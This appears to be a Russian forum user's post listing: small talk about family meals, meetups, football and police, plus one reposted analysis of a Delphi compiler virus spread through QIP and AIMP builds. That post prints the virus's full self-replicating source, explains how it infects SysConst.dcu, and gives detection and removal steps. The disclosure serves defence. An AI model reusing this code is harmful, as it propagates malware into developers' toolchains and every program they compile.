Перейти к содержанию

TolkienDRR

Пользователи
  • Постов

    3 765
  • Зарегистрирован

  • Посещение

Весь контент TolkienDRR

  1. всё таки нет первого, второго и ужина у большинства. просто недавно знакомая удивила, что они семьей кушают и первое, и второе =) по мне чтобы так питаться это жена должна быть домохозяйкой (без работы) или иметь прислугу. а так семьей питаемся чем то одним в основном, в последнее время все занятые бывают и полуфабрикаты (позы, пельмени) все большее предпочтение получают =)
  2. пщщ, очередная флудильня, для начала во взаимопомощь перенесли бы. т.к. девушке не нравишься, добиться ее не можешь, фантазии не хватает, то совет один - забей. может какая-нибудь другая девушка оценит тебя. хотя сомнения, если ты не можешь решить проблему сам или посоветоваться с друзьями, а выносишь это в виртуальную жизнь.
  3. Сегодня обнаружил довольно интересную вредоносную бяку, специфичную именно для Delphi. Это весьма простой, написанный на Delphi, саморазмножающийся код, который иначе как “вирусом” назвать нельзя. Особенность его в том, что он поражает только установленные Delphi версий 4-7 (включительно), так что любая программа, скомпилированная в “поражённых” Delphi, будет содержать в себе копию этого вредоносного кода и заражать любые другие найденные Delphi. Для тех, кто не сильно хочет вникать в детали, вот краткая выдержка (окей, я просто адаптировал объявление с DK, но для надёжности вам лучше бы прочитать пост целиком): Суть кода в том, что заражённая программа ищет на диске установленные версии Delphi и, если находит, изменяет файл SysConst.dcu (старая версия сохраняется под именем SysConst.bak), и после этого все программы на Delphi, скомпилированные на этом компьютере, начинают точно так же заражать Delphi на тех компьютерах, где они запускаются. Распространению вируса способствовало то, что некторые версии популярного мессенджера QIP и проигрывателя AIMP оказались заражены им (команды разработчиков приносят за это свои извинения). Пока единственный обнаруженный вредный эффект от вируса - это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значение ошибки не происходит). Видимо, просто обкатывалась технология распространения вируса. Проверьте свои установки Delphi (версий с 4 по 7 включительно) и, если найдёте у себя SysConst.bak, выполните следующие действия: 1. Удалите SysConst.dcu 2. Скопируйте SysConst.bak в SysConst.dcu. Важно именно скопировать, а не переименовать, чтобы SysConst.bak тоже остался на диске - это убережёт систему от повторного заражения, т.к. вирус не производит заражения, если находит SysConst.bak, считая, что свою работу он уже выполнил. Не пытайтесь найти вирус в SysConst.pas: его там НЕТ! Как это началось Собственно началось всё с обсуждения странной проблемы: Run-time error 3 на, казалось бы, ровном месте. Затем участник с ником Andrey заметил, что проблема как-то связана с QIP 2005 сборки 8094, а именно: изменяется файл SysConst.dcu в папке \Lib установленной Delphi. Несколько человек после этого подтвердили это сообщение, но не стали копать дальше. Признаться, сперва мне казалось это либо неверными выводами (я работаю в саппорте EurekaLog и тут не счесть случаев, когда человек в чём-то уверен, но на деле всё совсем не так), либо с инфицированными “настоящими” вирусами сборками с левых сайтов. Хотя изменение именно специфичного для Delphi файла выглядело очень подозрительно. Поэтому когда я приступил к проверке, то для себя я остановился на варианте забытого отладочного кода в QIP или чем-то подобном (я знал, что QIP написан на Delphi). Однако, установив QIP, скачанный с официального сайта, я убедился в том, что он (сам qip.exe) действительно изменяет файлы SysConst.dcu в папках \Lib установленных Delphi версий 4-7, создавая резервную копию в виде файла SysConst.bak. Я проверял, установив его на WinXP VMWare с установленными Delphi всех версий (кроме 1, разумеется). Подтвердив проблему, я запостил вот эту тему на форуме QIP. Что это такое Ну а дальше – надо было просто поглубже копнуть, чтобы посмотреть, что же именно за изменение вносится в SysConst.dcu. В итоге и был обнаружен этот вредоносный код, который выглядит примерно вот так: Посмотреть код 002. 003.var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(', 004.'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]', 005.'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;', 006.'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin', 007.'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle', 008.'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile', 009.'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while', 010.'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0', 011.'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2', 012.',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,', 013.'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$', 014.')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.', 015.'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,', 016.'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),', 017.'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,', 018.'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=', 019.'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,', 020.'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of', 021.'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(', 022.'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then', 023.'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=', 024.'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+', 025.'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;', 026.'begin st; end.'); 027. 028.function x(s:string):string; 029.var 030. i:integer; 031.begin 032. for i:=1 to length(s) do 033. if s[i]=#36 then s[i]:=#39; 034. result:=s; 035.end; 036. 037.procedure re(s,d,e:string); 038.var 039. f1,f2:textfile; 040. h:cardinal; 041. f:STARTUPINFO; 042. p:PROCESS_INFORMATION; 043. b:boolean; 044. t1,t2,t3:FILETIME; 045.begin 046. h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0); 047. if h<>DWORD(-1) then 048. begin 049. CloseHandle(h); 050. exit; 051. end; 052. {'I-}assignfile(f1,s); 053. reset(f1); 054. if ioresult<>0 then 055. exit; 056. assignfile(f2,d+'pas'); 057. rewrite(f2); 058. if ioresult<>0 then 059. begin 060. closefile(f1); 061. exit; 062. end; 063. 064. while not eof(f1) do 065. begin 066. readln(f1,s); 067. writeln(f2,s); 068. if pos('implementation',s)<>0 then 069. break; 070. end; 071. 072. for h:= 1 to 1 do 073. writeln(f2,sc[h]); 074. for h:= 1 to 23 do 075. writeln(f2,''''+sc[h],''','); 076. writeln(f2,''''+sc[24]+''');'); 077. for h:= 2 to 24 do 078. writeln(f2,x(sc[h])); 079. closefile(f1); 080. closefile(f2); 081. {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak')); 082. fillchar(f,sizeof(f),0); 083. f.cb := sizeof(f); 084. f.dwFlags := STARTF_USESHOWWINDOW; 085. f.wShowWindow := SW_HIDE; 086. b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p); 087. if b then 088. WaitForSingleObject(p.hProcess,INFINITE); 089. MoveFile(pchar(d+'bak'),pchar(d+'dcu')); 090. DeleteFile(pchar(d+'pas')); 091. h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0); 092. if h=DWORD(-1) then 093. exit; 094. GetFileTime(h,@t1,@t2,@t3); 095. CloseHandle(h); 096. h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0); 097. if h=DWORD(-1) then 098. exit; 099. SetFileTime(h,@t1,@t2,@t3); 100. CloseHandle(h); 101.end; 102. 103.procedure st; 104.var 105. k:HKEY; 106. c:array [1..255] of char; 107. i:cardinal; 108. r:string; 109. v:char; 110.begin 111. for v:='4' to '7' do 112. if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then 113. begin 114. i:=255; 115. if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then 116. begin 117. r:=''; 118. i:=1; 119. while c[i]<>#0 do 120. begin 121. r:=r+c[i]; 122. inc(i); 123. end; 124. re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" '); 125. end; 126. RegCloseKey(k); 127. end; 128.end; 129. 130.begin 131. st; 132.end.001.uses windows; Весьма несложный код и вы можете разобраться с тем, что он делает, самостоятельно. Во-первых, он проверяет, не установлена ли на машине Delphi (перебор ключей реестра в procedure st). Если да, то код берёт файл SysConst.pas, дописывает в него себя и компилирует с помощью Delphi-же, помещая новый (уже инфицированный) dcu в папку \Lib (предварительно сделав копию, которая одновременно служит признаком инфицирования), а изменённый pas-файл – удаляет. Откуда берётся этот самый run-time error 3, который позволил обнаружить этот вредоносный код? Ну, в код закралась ошибочка: если в реестре записан какой-либо неверный путь (например, раньше стояла Delphi 6, а теперь её нет, но ключ остался), то код вылетает вот тут: 1.{'I-}assignfile(f1,s); 2.reset(f1); // <- возбуждается исключение, если в s записан неверный путьПри вызове reset возбуждается исключение, которое при не инициализированном SysUtils приводит в выбросу ошибки run-time error 3. Интересно, что от этой ситуации должна была защищать директива {$I-} и обработка IOResult, но поскольку автор неудачно выбрал именно символ $ как служебный (в константе sc вместо апострофа), то обратный патч строки превратил {$I-} в {'I-}, что и привело к этой ошибке. Насколько это серьёзно Ну, если говорить о популярности этой бяки, то я сделал быстрый QIP-опрос знакомых дельфистов и у примерно 30% из них оказалась эта бяка. Т.е. если учитывать, что не у всех стоят старые Delphi, то среди D7-ков эта штука вполне может быть неплохо распространена. Если говорить о конкретном вреде, то этот вирус безобиден, т.к. не делает ничего, кроме размножения. От него не было бы вообще никакого отрицательного эффекта, если бы не вышеуказанная “досадная” ошибка в коде, приводящая к Runtime error 3 на редких машинах. Собственно пишу я этот пост не потому, что это так уж серьёзно, а, скорее, потому, что это довольно любопытная вещь. Ну и предупредить, конечно: эвон чего бывает. В следующий раз, если вдруг столкнётесь с его братом, будете в курсе. Кто виноват и что делать В топике также сообщили о наличии этой же проблемы у некоторых версий популярного проигрывателя AIMP. Ну, быстрый поиск в интернете показал, что подвержены этой пакости оказались не только QIP и AIMP, но и другие программы. Например, вот тут в комментариях сообщается о заражении некоторых плагинов к Miranda. Понятно, что сами программы тут не причём – просто была заражена Delphi, на которых выполнялась сборка дистрибутивов. Увы, антивирусы такие “высокоуровневые вирусы” не ловят (хорошо бы, кстати, отправить этот код разработчикам какого-нибудь антивируса). Ну, собственно, что вы можете сделать: если вы используете Delphi 4 – Delphi 7, то проверьте свои Delphi, не инфицированы ли они. Посмотрите в папку \Lib: если там есть файл SysConst.bak, то вы заражены (*). Что делать, чтобы избавиться от вируса? Удалите файл SysConst.dcu, а затем на его место скопируйте SysConst.bak, т.е.: SysConst.bak –> SysConst.dcu. Помимо избавления от вируса, это также предотвратит повторное заражение. Ну, лучше всего, конечно, взять .dcu файл с дистрибутива - для надёжности (мало ли, вдруг .bak файл тоже оказался изменён). Если вы не заражены, то вы можете предотвратить заражение в будущем (разумеется, только этим, конкретным вариантом кода), сделав что-либо из следующего (на ваш выбор, можно несколько сразу): * Создайте файл SysConst.bak (содержимое не важно) в папках \Lib установленных Delphi. Работоспособность основывается на том факте, что вирус сперва проверяет наличие SysConst.bak. И если он есть – то ничего не делает, считая, что он уже инфицировал эти Delphi. * Просто запретить доступ на изменение папки \Lib (ну и \Source до кучи) вообще всем (даже админам). Ну, это не даст вирусу менять файлы, но при этом на Delphi не встанут апдейты, но это вполне действенно. Можно в принципе дать права на запись отдельной учётке и все апдейты запускать из-под неё. Ну или менять права перед установкой апдейтов и возвращать после. * Работать в системе “как полагается”: т.е. не под админом и программы ставить в Program Files. Благодаря этому у обычного пользователя не будет прав на запись в папку, так что ваши файлы останутся в неприкосновенности. А апдейты для Delphi вы всё равно под админом запускать будете. Ну, раньше я уже говорил про Vista-у и пользу UAC в частности. Вот это как раз пример для этого случая. Замечу, что подобной простой панацеи для уже скомпилированных в заражённой Delphi файлов нет: вам придётся пересобрать их заново. А чтобы определить, какие файлы заражены: запустите поиск по диску всех файлов, содержащих любую "говорящую" подстроку из константы, например: "CreateFile(pchar(d+$bak$),0,0,0,3,0,0)" (без кавычек, разумеется). Также это поможет найти, кто же принёс на вашу машину эту бяку: если вы нашли инфицированный файл, собранный не вами, то это и есть виновник проблем на вашей машине. Ну, лично мне все эти проблемы по барабану, т.к. я: * Работаю в Vista и Delphi стоит в Program Files, что значит, что её файлы защищены ACL списками. * Использую D2007 и D2009, а конкретно этот товарищ инфицирует только D4-D7. * Не использовал инфицированные варианты QIP и AIMP (ну, тут просто повезло). Но то, что эти проблемы мне не грозят, не значит, что о них не надо сказать: кто предупреждён, тот вооружён. Удачи Примечания: (*) Ну, на самом деле, наличие файла SysConst.bak ещё не говорит со 100% точностью о заражении. Вы вполне могли создать этот файл сами или он был создан каким-нибудь вполне легитимным патчем. Чтобы убедиться на 100%, откройте файл SysConst.dcu (dcu, а не bak, т.к. в bak-е лежит девственный оригинал) в блокноте или по F3 в двух-панельном менеджере и поищите строчку “closefile(f2);” (без кавычек, разумеется). Если нашли – то ваша Delphi точно заражена. Таким же образом можно проверить и собранный exe-файл. Но проверка на SysConst.bak не даёт гарантии от поражения аналогичными вирусами. Конкретно этот экземпляр выдаёт себя наличием файла SysConst.bak. Другие могут не быть столь беспечны, поэтому 100% надёжный способ - сравнить папки \Lib и \Source с дистрибутивными: поставьте куда-нибудь чистую Delphi на чистую машину (лучше всего с read-only сидюка или ISO-образа) и сравните свои папки с чистыми. Только убедитесь, что сервис-паки и апдейты совпадают.
  4. Готовите что-то одно или же полный набор как в столовых: первое, второе и десерт? =) Чаще кушаете по одному или же всей семьей? =)
  5. вчера ночью дочитал Дневник памяти Николаса Спаркса. очень понравился этот роман, теперь можно посмотреть фильм, надеюсь не буду плеваться =) Добавлено спустя 16 секунд:
  6. Lena Mel, ты нынче моим ежедневником заделалась? )) будешь определять что мне посетить на этой неделе? )))))) кеке )) мне жаль, но это не флеш-моб - дел будет итак валом, так что не получится даже просто сходить на каток, а посидеть в хорошей обстановке с некоторыми пользователями я не протиф
  7. кеке, а я всё опять в работе =( доделываю переводчик таки =\ надеюсь ночь пройдет продуктивно. ку неспящим ))
  8. OlenkaSotnikova, мне тоже жаль ))) можно и в приватной встрече расплатиться с долгами
  9. Mos, ну теперь самое время узнать обязанности.
  10. за девять месяцев одно сообщение xD чтобы не было прорисовки мемо после каждого изменения =) Добавлено спустя 1 минуту 47 секунд: а в конечном итоге, просто для скорости выполнения. при больших объемах выполнится в разы быстрее =)
  11. ну повыпендривайся, родителей вызовут и всё равно напишешь =) управа на каждого найдется, напиши и не парься, а еще лучше не прогуливать. всегда казалось, что физ.подготовка - это для себя, а не для преподов.
  12. ну теперь перекличку, кто был то по никам? ))) вы еще корки, взяли и столы оставили сдвинутыми.. поставили бы обратно в нормальный вид =) так и не попрощался ни с кем, посидел в метро до часов 10, покушал хоть =)
  13. бассейн так быстро не окупится =) поэтому их должно строить гос и муп организации (имхо канеш). недавно кстати с Москвы запрос у наших вузов был: сколько у вас бассейнов, какие размеры xD
  14. они мерятся кинотеатрами xD ничего плохого не вижу. 4 зала хоть и будут маленькие, но зато выбора больше на что сходить =) тем более спальный район, проходимость высокая, так что отличная затея =)
  15. где проводить то решили? =) опоздаю маленько =)
  16. Chosen One мб невыгоден только магазин. а рц и гостиница в силе могут остаться =)
  17. вот насчет абсолюта не знаю, по мне так как покупали, так и покупают =) но 2 кита жалко, главное чтобы рц работал дальше...
  18. вот именно, там фанаты, а не ценители футбола. да и думаю там просто работает стадное чувство. а недобрых слов по моментам всегда валом.никогда не понимал фанатизма, бессмысленное занятие. не в этом дело, а в том что по тв показывают =)
  19. ночь прошла продуктивно. привел диссертацию в божеский вид, можно заняться и учебой теперь. до пары полтора часа, надо быстро сделать много, уже обставился кружкой кофе и всем необходимым =Р йеха, ночь продолжается xD
  20. посмеялся от души =) работа такая у них, канеш истории написанные здесь - беспредел еще тот, но порой такие меры дают положительные результаты (не первая история). тяжело судить о всех сразу, попадаются неадекваты в любой сфере (кто-то писал уже выше). так что сильно ругать милицию не надо, всё таки если что случится (ней дай Бог конечно), то придется обращаться именно к ним. и хотелось бы верить, что половина отписавшихся здесь не из тех, кто обращаются за помощью, а за спиной недобро высказываются о сотрудниках правопорядка. и еще верно написали тут про 3 рубля и миллион =) ничего не сделаешь, такая нынче у нас "законы" жизни.
  21. эм, просто не надо вытворять вещей, за которые потом извиняться надо =)система прогнила, пока не опустишься до ее уровня гнильности - ничего не добьешься. уровень доверия упал ниже плинтуса. был бы нормальный уровень жизни и система в целом, не приходилось бы "мараться", а потом как все знают, "отмыться" очень и очень сложно. очередная флудильня, сколько человек - столько и мнений.
  22. да, да. раскудахтались =) видимо ошибся я, указывая причину созыва)) хотя рассматриваются матчи причастные к "мегаафёре" проходившие в Словении, да и начальная причина была - подозрительные результаты в стыках =) *110 Полегче в выражениях // CustomS
×
×
  • Создать...